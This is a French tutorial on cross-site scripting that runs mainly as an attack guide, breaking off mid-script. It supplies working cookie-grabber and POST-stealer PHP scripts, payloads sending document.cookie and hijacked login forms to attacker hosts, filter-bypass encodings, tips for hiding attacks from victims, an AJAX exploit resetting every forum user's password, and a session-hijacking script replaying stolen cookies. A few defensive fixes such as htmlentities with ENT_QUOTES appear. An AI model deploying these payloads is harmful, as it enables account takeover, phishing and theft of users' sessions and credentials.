LA FAILLE XSS

Pré-requis

Avant de commencer à lire ce tutorial, voici une liste non exhaustive des connaissances nécessaires à une bonne compréhension :

Attention, si vous ne comprenez pas les scripts composants ce tuto, que les quelques explications données ne vous suffisent pas, c'est à vous d'approfondir vos connaissances. Je peux vous conseiller pour cela de visiter la partie "liens" puisqu'il y figure les URL de plusieurs manuels ou tutos sur les langages en question.

Introduction

Dans ce tutorial nous allons aborder les diverses facettes de la faille XSS. XSS signifie "Cross Site Scripting", abrégé "CSS" à la base, puis XSS afin d'éviter la confusion avec les feuilles de style également abréviées CSS (Cascading Style Sheet).

Cette faille est un trou de sécurité des applications Web on ne peut plus commun. Elle provient majoritairement d'erreurs de programmation, d'une trop grande confiance accordée aux entrées de l'utilisateur. Mais elle peut provenir aussi d'erreurs renvoyées par le langage utilisé qui ne sécurise pas, lui non plus, les données affichées (on pourra prendre comme exemple les erreurs de PHP).

Pour décrire rapidement la faille XSS on peut simplement dire qu'elle consiste à injecter du code malicieux dans une page Web, grâce à une variable faillible (c'est à dire non sécurisée ou mal sécurisée) qui sera affichée.

Pour bien illustrer le principe imaginons le code suivant :

<?php

if(isset($_GET['pseudo'])
	echo 'Bienvenue à toi : '.$_GET['pseudo'];
else
	echo '<form method="GET"><input type="text" name="pseudo" /> <input type="submit" value="Go" /></form>';

?>

Si nous entrons "Jean-Edouard" dans le formulaire, s'affichera alors "Bienvenue à toi Jean-Edouard". Seulement essayons d'entrer "<s>plop</s>", c'est alors "Bienvenue à toi plop" qui est affiché, ce qui signifie que les balises (x)HTML introduites ont été interprétées ! On peut de même exécuter du JavaScript, qui nous permettera de gérer dynamiquement le contenu de la page et ainsi d'exploiter la faille XSS, en entrant "<script>mon script</script>"

Cette faille est dite "côté client" puisque notre code (x)HTML et JavaScript n'est pas parsé par le serveur, qui lui se contente de renvoyer la page, mais bien interprété par le navigateur de la victime.

La première réaction face à ce type de faille est de se dire "Mais quel est l'intérêt si je ne peux injecter que mes propres pages ?". Et bien justement, l'intérêt de cette faille est qu'avec un peu d'ingénierie sociale on arrivera à injecter les pages d'un autre utilisateur. Mais avant de commencer le tutorial et de creuser un peu plus le principe d'exploitation d'une faille XSS, voyons les deux types existants :

Sommaire

Principe d'une faille XSS

Malgré les diverses exploitations de la faille XSS, le principe reste toujours le même, voici les différentes étapes (ici Bob sera l'attaquant et Alice la victime) :

  1. Bob consulte la page faillible et repère une faille XSS.
    Bobc'est juste une flèche...Le site faillibleLe serveur victime
  2. Il héberge donc sur son serveur un script d'exploitation, ainsi qu'un script dit "de capture" (que nous pourrons appeler grabber ou stealer), et intègre son script d'exploitation dans la page faillible
    BobLes scriptsc'est juste une flèche...Le serveur pirate
  3. Il envoie le lien de la page modifiée à Alice, en faisant preuve d'ingénierie sociale.
    Bobc'est juste une flèche...Alice
  4. Celle ci le consulte, croyant avoir affaire à la page originale.
    Alicec'est juste une flèche...Le site piégéLe serveur victime
  5. Elle se fait alors piéger, envoyant des données au grabber de Bob qui enregistre les données sensibles.
    AliceDes informations c'est juste une flèche...Le grabberLe serveur pirate
  6. Bob récupère alors ces données et les utilise sur le site faillible (cookies, mot de passe, etc).
    Bobc'est juste une flèche...Le siteLe serveur victime

Certains dirons que la deuxième étape n'est pas forcément comme décrite ici, et que Bob n'est pas obligé d'héberger son script d'exploitation sur son serveur et intégrer dans la page faillible l'appel à ce script, mais qu'il peut directement l'intégrer dans la page via la variable faillible. C'est exact, mais nous verrons dans une des parties suivantes qu'il vaut mieux faire comme expliqué ici dans un souci de discrétion.

Exploitations classiques

Dans ce chapitre, nous allons voir différentes exploitations de failles XSS, qui sont en général les exploitations les plus classiques, qui touchent les types de faille XSS qui sont les plus courantes.

Ce que l'on cherche à récupérer dans ce type d'exploitation ce sont les cookies d'un utilisateur ayant plus de droits que nous. Pour ce faire on peut accéder aux cookies en JavaScript via la variable document.cookie, pour preuve tapez ceci dans l'URL (sur un site qui utilise les cookies bien sur...) :

javascript:document.cookie;

Le JavaScript nous permettera donc de manipuler les cookies, mais pas de les enregistrer, nous devrons donc faire appel pour ceci à un script PHP, en les lui passant en argument. Voici un exemple de grabber simple :

<?php

if(isset($_GET['cookie']) && is_string($_GET['cookie']) && !empty($_GET['cookie']))
{
    $referer = secure($_SERVER['HTTP_REFERER']);
    $date = date('d-m-Y \à H\hi');
    $data = "From : $referer\r\nDate : $date\r\n".htmlentities($_GET['cookie'])."\r\n------------------------------\r\n";
	
    $handle = @fopen('cookies.txt','a');
    fwrite($handle, $data);
    fclose($handle);
}

?>

Comme vous pouvez le constater ce script enregistre le contenu de la variable "cookie" transmise par GET dans le fichier "cookies.txt". On devra alors pour enregistrer les cookies d'une victime lui faire exécuter une requête vers notre grabber en lui faisant passer en argument ses propres cookies. Voici une manière de procéder, la redirection :

location.replace("http://site.com/grabber.php?cookie="+document.cookie);

Maintenant, voici des exemples de faille XSS.


Imaginons le code suivant :

<?php
		// form.php
if(isset($_GET['pseudo']))
	$pseudo = $_GET['pseudo'];
else
	$pseudo = '';
echo '<form method="get">
 <input type="text" name="pseudo" value="'.$pseudo.'" /> 
</form>';
?>

Notez que ce script n'a aucun intérêt particulier, mais il est juste là pour illustrer un exemple de faille. Ici, la variable faillible ($pseudo) est affichée dans une 'case' formulaire. Si nous nous rendons sur form.php?pseudo=Salut, on obtient :

La source HTML équivalente en est :

<form method="get">
<input type="text" name="pseudo" value="Salut" /> 
</form>

Testons maintenant form.php?pseudo=<b>coucou</b> :

Malheur, notre code HTML n'est pas intérprêté comme on le souhaite ! Mais, regardons de plus près la source HTML équivalente :

<form method="get">
<input type="text" name="pseudo" value="<b>coucou</b>" /> 
</form>

Le but est de renfermer la valeur de l'attribut 'value', grâce à un quot ("), puis de renfermer la balise input gràce à un chevront supérieur (>). Testons alors : form.php?pseudo="><b>coucou</b> :

coucou" />

Génial ! Nous avons réussi à injecter notre code HTML correctement ! Notez qu'il reste des informations derrière, ceci s'explique par le nouveau code HTML généré:

<form method="get"> 
<input type="text" name="pseudo" value=""><b>coucou</b>" /> 
</form>

Ainsi, on comprend mieux pourquoi on a du " /> qui se "balade" librement dans la page HTML. Mais cela n'est grave en rien, si ce n'est que ce n'est pas discret. On peut donc faire au final : form.php?pseudo="><b>coucou</b><foo=" :

coucou

Le code HTML équivalent étant :

<form method="get"> 
<input type="text" name="pseudo" value=""><b>coucou</b><foo="" /> 
</form>

Le <foo="" /> étant une balise inutile, mais cela reste discret.

Pour éviter cela, utilisez htmlentities() sur $pseudo :

<
<?php
		// form.php
if(isset($_GET['pseudo']))
	$pseudo = htmlentities($_GET['pseudo']); // sécurité
else
	$pseudo = '';
echo '<form method="get">
 <input type="text" name="pseudo" value="'.$pseudo.'" /> 
</form>';
?>

Second exemple, mais cette fois, avec un "bypass" de protection. Imaginons le code suivant :

<?php
if(isset($_GET['pseudo']))
	$pseudo = htmlentities($_GET['pseudo']); // Malheur !
else
	$pseudo = '';
echo "<form method='get'>
<input type='text' name='pseudo' value='".$pseudo."' /> 
</form>";
?>

Il y a une protection htmlentities. Malheur, oui, mais nous pouvons la bypasser. D'abord, essayons (en nous référant à l'exemple précédent) form.php?pseudo='><b>coucou</b> :

Il ne se passe rien ! Pourquoi ? Voici la réponse :

<form method='get'>
<input type='text' name='pseudo' value=''&gt;&lt;b&gt;Coucou&lt;/b&gt;' /> 
</form>

La fonction htmlentities remplace les chevrons < et > en &lt; et &gt;. Par conséquent, il devient dur d'injecter du code. Pourtant, pas besoin de chevrons pour injecter ! Il suffit de connaître les évènements javascripts. L'évènement attribut 'onclick' interprête du code lorsque la victime clique sur l'élément. Exemple sur form.php?pseudo='%20onclick='javascript:alert("Hello") :

Si vous cliquez sur la case formulaire, vous avez une jolie boîte de dialogue qui apparaît. En effet, le code est interprêté dès le clic sur l'élément. La faiblesse est due au fait que les ' ne sont pas transformés. Il suffit de rajouter un argument second dans htmlentities() pour remédier à cela. Ainsi, les ' seront "convertis" en &#039;. Voici le nouveau code sécurisé :

<?php
if(isset($_GET['pseudo']))
	$pseudo = htmlentities($_GET['pseudo'], ENT_QUOTES); // ENT_QUOTES permet de paralyser les '
else
	$pseudo = '';
echo "<form method='get'>
<input type='text' name='pseudo' value='".$pseudo."' /> 
</form>";
?>

Voilà, nous verrons d'autres types d'exploitations dans un chapitre suivant, après avoir passé en revue l'essentiel de cette documentation sur les XSS.

Discrétion d'une attaque par XSS

Dans ce chapitre, pensons que la faille XSS est une faille dite "côté client", la victime joue alors un rôle important dans la réussite de l'attaque. Il est alors impératif qu'elle ne se doute de rien, et pour cela l'attaque doit être la plus discrète possible afin de boulverser un minimum (voire pas du tout) le fonctionnement habituel de la page piégée.

La première chose à faire dans le cadre d'une XSS par méthode GET, est d'avoir une URL la plus courte possible afin de ne pas attirer l'attention de la victime lorsqu'on lui envoie celle ci. On préfèrera toujours écrire l'appel à notre script plutôt que de transmettre directement et entièrment le script via la variable faillible. C'est à dire que l'on ne procédera pas comme ceci :

http://site.com/page.php?var=<script>alert();</script>

Mais bien comme ça :

http://site.com/page.php?var=<script src="http://monsite.com/monscript.js"></script>

Avec monscript.js :

alert();

Ici ce n'est vraiment pas significatif vu la quantité de code injecté, mais si on utilise un code beaucoup plus conséquent (comme dans la plupart des cas), et que l'on utilise en plus des techniques de discrétion, d'encodage ou de bypass de l'échappement des caractères, alors là cette technique retrouve son intérêt.

Ensuite si la variable faillible est une variable contenant normalement l'URL d'un avatar (ou d'une image en général). On a alors une XSS permanente (puisqu'en général ce type de variable est enregistrée). Ici pour que l'exploitation paraisse discrète on s'efforcera d'afficher une image. On procédera par exemple comme ceci :

document.write('<img src="http://monsite.com/mongrabber.php?cookie="'+document.cookie+' />');

En effet, placé ainsi comme source d'une balise <img> une requête sera faite vers nôtre grabber (retenez bien ce point, qui habilement exploité peut nous conduire à la faille CSRF, mais ce n'est pas le sujet ici), lequel devra afficher une image valide, pour cela on utilisera le grabber classique vu précédemment, auquel on ajoutera le code suivant utilisant la libraire GD (qui permet de gérer les images en PHP) :

$img = 'http://site.com/monimage.png';
$image = @imagecreatefrompng($img);
header('Content-Type: image/png');
@Imagepng($image);
@imagedestroy($image);

Ainsi une image sera affichée normalement, comme nôtre avatar, et l'attaque n'en sera que plus discrète.

De la même manière, dans un autre cadre, on pourra camoufler notre page faillible dans une iframe invisible, comme ceci :

document.write('<iframe src="http://site.com/x.php?x=<script src=\'http://hack.com/x.js\'></script>" height=0 width=0></iframe>');

Le seul problème de cette technique est que sous Firefox, le navigateur affiche une iframe qui n'est pas totalement invisible. Mais ce n'est pas un problème puisqu'on pourra facilement utiliser le "masquage d'éléments" (cf. autre chapitre) pour camoufler notre attaque.

Encodage & bypass de l'échappement

Parfois, certaines données sont encodées pour être transmises à la page. Il se peut que les filtres appliqués à ces données soient appliqués avant le décodage.

Il se peut également que certains encodages supportés et interprétés par les navigateurs ne soient pas pris en compte par les filtres de sécurisation.

Dans les deux cas, on pourra alors encoder nos scripts d'exploitations afin d'arriver à nos fins. Ce chapitre présente différents moyens de le faire (tirés de la page suivante : http://ha.ckers.org/xss avec l'accord de l'auteur RSnake).

  • URLencode

    Ici il convient de convertir le texte en son équivalent héxadécimal, chaque nombre étant précédé de %.

    hello ==> %68%65%6C%6C%6F
  • HEX/HTML

    Ici il convient de convertir le texte en son équivalent héxadécimal, chaque nombre étant précédé de &#x.

    hello ==> &#x68;&#x65;&#x6C;&#x6C;&#x6F;
  • DECIMAL/HTML

    Ici il convient de convertir le texte en son équivalent décimal, chaque nombre étant précédé de &#x.

    hello ==> &#104&#101&#108&#108&#111
  • BASE64

    Ici il convient de convertir le texte en son équivalent base64.

    hello ==> aGVsbG8=

    Mais il convient aussi de préciser au navigateur qu'il a affaire à quelquechose codé en base64, par exemple comme ceci :

    <a href="data:text/html;base64,[code html encodé en base64]">ceci est un lien</a>

    Vous pouvez regarder ce que ça donne en cliquant ici

Si vous voulez un petit tool pour encoder vos script, je vais vous réorienter vers le chapitre "liens" de ce tuto où vous trouverez votre bonheur, plutôt que de réinventer la roue...

Un autre prolbème qui se pose à nous, et l'échappement des caractères telles que les guillemets (simples ou doubles) ou le caractère null (NULL BYTE), qui peuvent être précédées d'un anti-slash (\), rendant inéfficace notre script d'exploitation. Il nous faut alors trouver un moyen de contourner cet échappement, c'est à dire transmettre des données ne contenant pas de caractères qui seraient "échappables", mais qui serait équivalent. Avant de voir les solutions à notre problème voyons un exemple de script ou les données sont échapées :

<?php

if(isset($_GET['pseudo'])
	echo 'Bienvenue à toi : '.addslashes($_GET['pseudo']);
else
	echo '<form method="GET"><input type="text" name="pseudo" /> <input type="submit" value="Go" /></form>';

?>

Ici c'est la fonction addslashes() de PHP qui échappe les caractères. (note : la directive du php.ini magic_quotes_gpc produit le même effet).

La première solution que je vous propose est de passer dans l'URL les données entourées par des guillemets, de manière à ne pas modifier la page demandée, et d'utiliser ensuite cette URL pour récupérer nos données. je m'explique : en JavaScript, il est possible d'accéder à la valeur de l'URL courante avec self.location.href. Pour preuve tapez ceci dans la barre d'adresse de votre navigateur :

javascript:self.location.href;

S'affiche alors l'URL de cette page, maintenant prenons un exemple de contournement de l'échappement.

Imaginons que nous voulions faire une alerte JavaScript sur ce site, nous rentrerions dons "<script>alert('coucou');</script>" dans le formulaire. Mais cela ne fonctionnera pas puisque les quotes utilisées pour encadrer "coucou" seront échappées. (on obtiendra ceci : "<script>alert(\'coucou\');</script>")

Nous allons maintenant passer dans l'url le mot "coucou" que nous voulons afficher et utiliser le même script que précédemment, mais qui se chargera de récupérer "coucou" dans l'URL pour faire l'alert. La nouvelle URL est donc :

http://site.com/page.php?pseudo=%3Cscript%3Ealert(self.location.href.substr(101));%3C/script%3E&osef=coucou

Ce qui aura pour effet d'afficher une alerte JavaScript avec le mot "coucou", puisque ce mot se trouve de la 101ème place à la fin de l'URL courante, et c'est de que renvoie self.location.href.substr(101). Atention ne croyez pas que cela ne marche qu'avec les failles XSS faisant intervenir des variables transmises par méthode GET ;-)

Je vous présente maintenant, comme deuxième solution, la fonction JavaScript fromCharCode(int code1 [, int code2 [, int code3[, ...] ] ]), qui retourne une suite de caractères à partir des codes ASCII de ces caractères.Par exemple le code suivant affiche "hello".

document.write(String.fromCharCode(104, 101, 108, 108, 111));

Avec, vous l'aurez compris, 104 le code ASCII de "h", 101 celui de "e" et ainsi de suite...
Il nous est donc facile de bypasser les différents échappements des caractères avec les deux moyens que nous venons de voir.

Modification de page Web, masquage d'éléments

Avec une faille XSS, nous l'avons vu tout à l'heure, on injecte du code d'un langage interprété côté client au beau milieu d'une page Web. Habituellement, et c'est ce que montre la partie "Exploitations classique", le but de la XSS est de voler les cookies d'un utilisateur ayant des droits supérieurs aux nôtres sur un site donné.

Maintenant sortons nous cet objectif de l'esprit, car ce n'est pas la seule possibilité avec une XSS, bien au contraire, les possibilités n'ont de limites que votre imagination... C'est ainsi que les deux chapitres venant seront plutôt orienté "phishing / vol d'informations (autres que cookies bien sûr)".

Voyons donc maintenant comment effacer du contenu dans notre page faillible, simplement en utilisant la propriete CSS display comme ceci :

document.id_ou_name_de_l_element.style.display = 'none';

Cela aura pour effet de masquer l'élement voulu puisque la propriete CSS display (qui sert a gérer la manière dont un élément est affiché) n'affiche rien si elle prend la valeur "none".

On remarquera qu'écrire le code suivant est équivalent :

<style>
.element
{
	display: none;
}
</style>

Le masquage d'élement peut être utile dans le cas ou l'exploitation de la faille XSS signifierait la presence d'élements indésirables dans la page. Imaginons ainsi une page de ce type "connection.php?errormsg=vos%20identifiants%20sont%20incorrects", et que la variable faillible soit "errormsg". Pour exploiter la faille on devra se servir de "errormsg", donc accepter la présence d'un message d'erreur sur la page Web. Le masquage d'informations est alors utile pour plus de discrétion, afin que la victime ne se doute de rien.

Voyons maintenant la modification de contenu de la page Web faillible. C'est très simple, il suffit d'exploiter normalement la faille XSS, en insérant le contenu voulu, en utilisant les tags (x)HTML appropriés, comme suit :

document.write('<s>Ceci est du texte barré</s>');

Mais se pose ici un probleme bien évident : on ne peut, de cette manière, écrire du texte uniquement là où la variable faillible est affichée. Pour remédier à cet inconvenient, nous utiliserons la commande innerHTML en JavaScript :

document.id_ou_name_de_l_element.innerHTML = '<s>Ceci est du texte barré</s>';

Et c'est alors l'élement voulu qui se verra modifié. On peut ainsi falsifier des news, faire apparaître un formulaire de demande d'identifiants soit disant nécessaires pour continuer à utiliser le site, ou n'importe quel autre contenu afin d'user d'ingenierie sociale ou autre...

Détournement de formulaire

Parlons ici d'un point important dans l'exploitation d'une faille XSS, j'ai nommé le détournement de formulaire.
Puisque vous avez de bonnes connaissances en HTML vous savez qu'une balise <form> prend plusieurs attributs, lesquels sont method, parfois accept, accept-charset, enctype, name ou target et celui qui nous intéresse plus particulièrement : action.
Un petit rappel tout de même : action définit l'URL où seront envoyées les données lors de la soumission du formulaire.

Voyons maintenant le code source d'un formulaire de connection :

<form id="DaForm" method="POST" action="http://site.com/connect.php">
Pseudo : <input type="text" name="pseudo" /><br />
Password : <input type="password" name="pass" /><br />
<input type="submit" value="Connection" />
</form>

Maintenant que l'on sait tout ce qu'il nous faut, voyons comment détourner un formulaire de ce type dans le cas d'une XSS. Ceux qui ont lu attententivement la partie précédente diront "Facile, on efface le formulaire original et on réécrit le notre qui pointe vers un fichier qui enregistrera les données". L'idée est là, mais cela reviendrait à se compliquer la vie, puisque les différents attributs de notre balise <form> sont accessibles en JavaScript. On pourra donc modifier l'attribut action du formulaire comme ceci :

document.DaForm.action = 'http://monsite.com/stealer.php';

Mais ici encore, plusieurs problèmes se posent : premièrement, imaginons que la balise <form> ne comporte pas d'attributs id, comment accéder à l'attribut action (puisqu'on utilise l'id pour y accéder en JavaScript) ? Très simplement comme ceci :

document.forms[0].action = 'http://monsite.com/stealer.php';

forms[0] désigne le premier formulaire de la page. Bien sur s'il y a plusieurs formulaires dans la page que vous souhaitez modifier, utilisez aussi forms[1], forms[2], forms[3] ...

Le second problème est le suivant : l'attribut action aura pour valeur celle de sa dernière définition, c'est à dire que si nous avons la possibilité d'écrire la définition JavaScript après celle faite dans le formulaire original, alors tout va bien, le formulaire pointera sur notre stealer, mais si nous écrivons notre définition avant le formulaire, alors ce dernier pointera sur la page voulue à l'origine.

Bien heureusement, nous avons un moyen de définir malgré cela l'attribut action tel que nous le voulons :

function changer_action()
{
	document.forms[0].action = 'http://monsite.com/stealer.php';
}
window.onload = changer_action;

Voilà, maintenant que le formulaire est "détourné", lorsque l'utilisateur cliquera sur connection, les informations seront envoyées au fichier de notre choix, voici un exemple de stealer qui enregistrera toutes les données transmises par POST :

<?php

$referer = secure($_SERVER['HTTP_REFERER']);
$date = date('d-m-Y \à H\hi');
$data = "From : $referer\r\nDate : $date\r\n";

foreach($_POST AS $key => $value)
	$data .= '[ '.$key.' ] => [ '.$value.' ]\r\n';
	
$data .= "------------------------------\r\n";
$handle = @fopen("data.txt","a");
fwrite($handle, $data);
fclose($handle);

?>

Voilà, cette partie sur le phishing grâce au détournement de formulaire est finie, on pourra également réécrire un formulaire que s'auto-enverra grâce à la commande JavaScript submit() pour plus de discrétion (ou au minimum une redirection vers le site faillible)...

Quand AJAX s'en mêle...

Ici, grâce à notre faille XSS, nous allons faire envoyer des requètes HTTP à notre victime vers le serveur faillible, et plutôt que de récupérer ses données, nous alllons les lui faire modifier. Pour ceux à qui cela dirait quelque chose, on peut dire que le principe est le même que celui d'une faille CSRF. Seulement avec une faille CSRF nous sommes obligés d'héberger notre script sur un autre serveur que celui attaqué,et puisqu'un des principes fondamentaux d'AJAX est d'interdire les requètes vers un autre serveur que celui auquel appartient la page dans laquelle le script est exécutée, nous ne pouvons l'utiliser. Ce qui devient possible avec une XSS puisque nous pouvons justement injécter un script dans la page faillible.

Voyons tout de suite un exemple, un forum. Ce forum comporte quelques pages, la première est la suivante, la page de connection :

// connection.php

<?php
session_start();
echo $header;

if($_SESSION['connected'] === TRUE)
	echo 'vous êtes déja connecté';
else
{
	if(isset($_POST['login'], $_POST['pass']))
	{
		$connect = mysql_connect('localhost', 'user', 'pass');
		mysql_select_db('DBname', $connect);
		
		$sql = mysql_query("SELECT id,pseudo,password FROM user WHERE pseudo='".addslashes($_POST['login'])."'");
		if(mysql_num_rows($sql) == 0)
			echo 'Compte inexistant.';
		else
		{
			$data = mysql_fetch_array($sql);
			if(md5($_POST['pass']) != $data['password'])
				echo 'Mauvais mot de passe.';
			else
			{
				$_SESSION['connected'] = TRUE;
				$_SESSION['pseudo'] = $data['pseudo'];
				$_SESSION['id'] = $data['id'];
				
				echo 'Vous êtes connecté';
			}
		}
	
	}
	else
	{
		echo '<form method="POST">
		Login : <input type="text" name="login" /><br />
		Pass : <input type="password" name="pass" /><br />
		<input type="submit" value="Connection" />
		</form>';
	}
}

echo $footer;
?>

Voilà, passons à la page suivante, la page de profil, qui permet de changer le mot de passe d'un utilisateur :

// profil.php

<?php
session_start();
echo $header;

if($_SESSION['connected'] === TRUE)
{
	if(isset($_POST['new_pass1'], $_POST['new_pass2'], $_POST['id']))
	{
		if($_POST['id'] == $_SESSION['id'])
		{
			if(md5($_POST['new_pass1']) == md5($_POST['new_pass2']))
			{
				$pass = md5($_POST['new_pass1']);

				$connect = mysql_connect('localhost', 'user', 'pass');
				mysql_select_db('DBname', $connect);
				
				mysql_query("UPDATE user SET pasword='".$pass."' WHERE id='".$_SESSION['id']."'");
				echo 'Mot de passe changé.';
			}
		}
	}
	else
	{
		echo '<form method="POST">

		Nouveau mot de passe : <input type="password" name="new_pass1" /><br />
		Confirmation : <input type="password" name="new_pass2" /><br /><br />
		<input type="hidden" name="id" value="'.$_SESSION['id'].'" />
		<input type="submit" value="Modifier" />
		</form>';
	}
}
else
	echo 'Vous devez être connecté !';
	
echo $footer;

?>

Voyons une autre page, la page qui permet d'afficher les messages :

// messages.php

<?php
session_start();
echo $header;

if($_SESSION['connected'] === TRUE)
{
	$connect = mysql_connect('localhost', 'user', 'pass');
	mysql_select_db('DBname', $connect);
				
	$sql = mysql_query("SELECT message,auteur,date FROM messages ORDER BY date DESC");
	if(mysql_num_rows($sql) == 0)
		echo 'Aucun message pour le moment.';
	else
		while(($data = mysql_fetch_array($sql)) !== FALSE)
			echo '<p>Message posté par '.$data['auteur'].' le '.date('d-m-Y \à H\hi', $data['date']).'<br />
			'.$data['message'].'</p>';
}
else
	echo 'Vous devez être connecté !';
	
echo $footer;

?>

Comme on le voit les messages sont affichés sans aucune sécurisation des données (je ne donne pas la page qui permet de poster un message, ce n'est pas trè important, mais on supposera que les messages ne sont pas sécurisés non plus à l'enregistrement). Voici enfin la dernière page, la page de déconnection :

// deconnection.php

<?php
session_start();
echo $header;

if($_SESSION['connected'] === TRUE)
{
	$_SESSION = Array();
	session_destroy();
}
else
	echo 'Vous n'êtes pas connecté.';

echo $footer;

?>

Voilà, maintenant que vous avez bien compris les sources de ce forum, vous avez décelé une faille XSS : lorsqu'on poste un message celui ci n'est sécurisé nulle part. Si on poste par exemple : "<script>alert(document.cookie);</script>" chaque utilisateur du forum consultant ce message verra une alerte JavaScript affichant la valeur des cookies du forum.
Mais plutôt que de récupérer les cookies de chaque utilisateur, nous allons coder un petit exploit en javaScript qui nous permettera de changer le mot de passe de tous les utilisateurs, avant de les déconnecter.

Commençons par poster un message normal, lequel se terminera par "<script src=http://monsite.com/exploit.js></script>". Et voyons maintenant le contenu de exploit.js :

// exploit.js

var id_membre = get_id();
change_pass(id_membre);
location.replace('deconnection.php');

function get_id()
{
    var xhr_object = null;
    if(window.XMLHttpRequest)
    {
        xhr_object = new XMLHttpRequest();
    }
    else if(window.ActiveXObject)
    {
        xhr_object = new ActiveXObject("Microsoft.XMLHTTP");
    }
    else
    {
        // AJAX n'est pas supporté :(
        return;
    }

    var methode = 'GET';
    var page = './profil.php';
    xhr_object.open(methode, page, true);
    xhr_object.onreadystatechange = function()
    { 
        if(xhr_object.readyState == 4)
        {
            if(xhr_object.status == 200)
            {
                var ancre1 = xhr_object.responseText.indexOf('<input type="hidden" name="id" value="');
                var ancre2 = xhr_object.responseText.indexOf('" />', ancre1)
                var id = xhr_object.responseText.substring(ancre1, ancre2);
                return id;
            }
            else
            {
                // Erreur lors de la requète...
            }
        }
        else
        {
            // En attente des résultats de la requète...
        }
    };
	
    xhr_object.send(null);
}

function change_pass(id)
{
    var xhr_object2 = null;
    if(window.XMLHttpRequest)
    {
        xhr_object2 = new XMLHttpRequest();
    }
    else if(window.ActiveXObject)
    {
        xhr_object2 = new ActiveXObject("Microsoft.XMLHTTP");
    }
    else
    {
        // AJAX n'est pas supporté :(
        return;
    }

    var methode = 'POST';
    var page = './profil.php';
    var data = 'new_pass1=owned&new_pass2=owned&id='+id;
	
    xhr_object2.open(methode, page, true);
    xhr_object2.onreadystatechange = function()
    { 
        if(xhr_object2.readyState == 4)
        {
            if(xhr_object2.status == 200)
            {
                //juste pour vérifier
                if(indexOf('Mot de passe') != -1)
                {
                    // mot de passe changé :-°
                    // on pourra par exemple écrire une balise image dans un block camouflé qui envoie le pseudo
                    // vers un de nos fichiers php qui nous informera qu'un membre a été piégé.
                }
                else
                {
                    // erreur, mot de passe non changé
                }
            }
            else
            {
                // Erreur lors de la requète...
            }
        }
        else
        {
            // En attente des résultats de la requète...
        }
    };
    xhr_object2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhr_object2.send(data);
}

Voilà, avec une faille XSS et un peu de JavaScript à la sauce AJAX, on pourra envoyer des requètes vers le site faillible avec les droits de la victime. On poura ainsi effectuer n'importe quelles actions (suppression, ajout et modification du profil d'un membre, gestion des messages, ...)

XSS & Browsers

Puisque la faille XSS est une faille "côté client", le code faillible est interprété par le navigateur de la victime. Nous verrons donc dans cette partie les différences d'interprétations de codes malicieux, entre différents navigateurs, lesquels sont Internet Explorer (IE6 & IE7), Mozilla Firefox (v 2.0.0.6), et Opéra (v 9.23).

En dessous des différents scripts, seront marqués en vert le nom des navigateurs sous lesquels le script fonctionne et en rouge ceux pour lesquels cela ne fonctionne pas.

  • Commandes Javascript en tant que source d'un tag <img>.
    <img src="javascript:alert();" />
    IE 6, Opéra, IE 7, FireFox.

  • Commandes Javascript en tant que source d'un tag <input> de type "image".
    <input type="image" src="javascript:alert();" />
    IE 6, Opéra, IE 7, FireFox.

  • Commandes Javascript en tant que background du tag <body> (note : idem avec les balises <table> ou <td>).
    <body background="javascript:alert()"><body>
    IE 6, Opéra, IE 7, FireFox.

  • Commandes Javascript en tant que valeur de l'attribut "href" du tag <link> dans le cas d'une feuille de style.
    <link rel="stylesheet" href="javascript:alert();" />
    IE 6, Opéra, IE 7, FireFox.

  • Commandes Javascript en tant que source d'un tag <iframe> (note : idem avec une balise <frame>).
    <IFRAME SRC="javascript:alert();"></IFRAME>
    IE 6, IE 7, Opéra, FireFox.

  • Consultation d'une image "piégée" contenant du code JavaScript
    [ Header d'image valide ]<script>alert();</script>
    IE 6, IE 7, Opéra, FireFox.

Voilà, comme vous avez pu le constater FireFox est à privilégier devant Internet Explorer ou Opéra. Je ne saurais donc que vous le conseiller.

Exploitations plus "poussées"

Maintenant que nous avons vu des exemples d'exploitations de faille XSS et que nous avons accumulé quelques informations sur cette faille, nous devrions être en mesure de construire des outils performants qui nous permetterons d'exploiter comme il faut nos failles XSS.

L'idée serait alors de concevoir un script qui agit directement des la récupération des informations sensibles (surtout avec les cookies subtilisés). Pour cela, il faut avoir des connaissances en matière de sockets et de protocole HTTP. Mais, pourquoi faire cela ? Et bien, parmis les informations volées, il se peut qu'il y ait ce qu'on appelle un "PHPSESSID". Un PHPSESSID, c'est un identifiant de session qui stocke les informations de session de l'utilisateur du membre, et lui attribue donc tout ces attribus de session sans laisser les informations visibles dans le cookie. Voici comment se présente un PHPSESSID dans le cookie :

PHPSESSID=9115e4b7db948a4fe6fd15ced7af10e6

Ok, mais quel est le problème avec un PHPSESSID ? Et bien, il se peut qu'il soit périmé au bout d'un certain temps, que les informations stockées sur le serveur deviennent invalide. Et, tout cela, soit par expiration de la session, soit par le fait que l'utilisateur aie prit soin de se déconnecter pour détruire ses informations de session. En PHP, les PHPSESSID sont générés de la manière suivante :

<?php
session_start(); // Démarrage de session, et donc génération d'un PHPSESSID dans le cookie
// Du code...
// Etc...
/* On 'détruit' le PHPSESSID. Notez que cette ligne peut se trouver dans
des scripts de déconnexion */
session_destroy();
?>

Pour en revenir à nos moutons, nous allons concevoir un script qui agit directement après la récupération du PHPSESSID pour s'assurer que celui-ci contient des informations de session valides. Ainsi, nous pouvons récupérer l'affichage de la page d'administration (par exemple) ou du profil d'un membre (étant donné que la page de profil peut afficher le mot de passe en clair, dans la source).

Penchons-nous donc sur une page qui récupè le cookie et enregistre la page profil.php avec ce cookie. Allons-y.

<?php
// On vérifie si la variable devant capturer le cookie n'est pas vide
if(isset($_GET['cookie']))
{
	/* On prépare quelques variables, mais déjà,
	imaginons que le site en question est http://www.site-faillible.com.
	L'host sera alors www.site-faillible.com. Et la page à "capturer"
	serait alors "profil.php". */

	$host = 'www.site-faillible.com'; // L'host du site

	/* Ouverture de socket sur le port 80, à la "va-vite",
	ce qui signifie que l'on ne vérifie pas si la connexion à
	abouti (car normalement tout est OK) */
	$handle = fsockopen($host,80);

	/* On prépare une requète HTTP pour demander la page
	de profil */
	$requete = "GET /profil.php HTTP/1.1\r\n"
	."Host: ".$host."\r\n"
	."Cookie: ".$_GET['cookie']."\r\n" // Très important, sinon on n'aura pas obtenu l'effet désiré
	."Connection: Close\r\n\r\n";

	// On envoie la requete 
	fwrite($handle,$requete);

	// On récupè la réponse
	$reponse = '';
	while(!feof($handle))
	{
		$reponse .= fgets($handle);
	}

	/* On écrit la réponse (qui correspond 
	aux en-tètes HTTP et à la source HTML 
	générée par le serveur) dans un fichier
	que l'on pourra consulter */
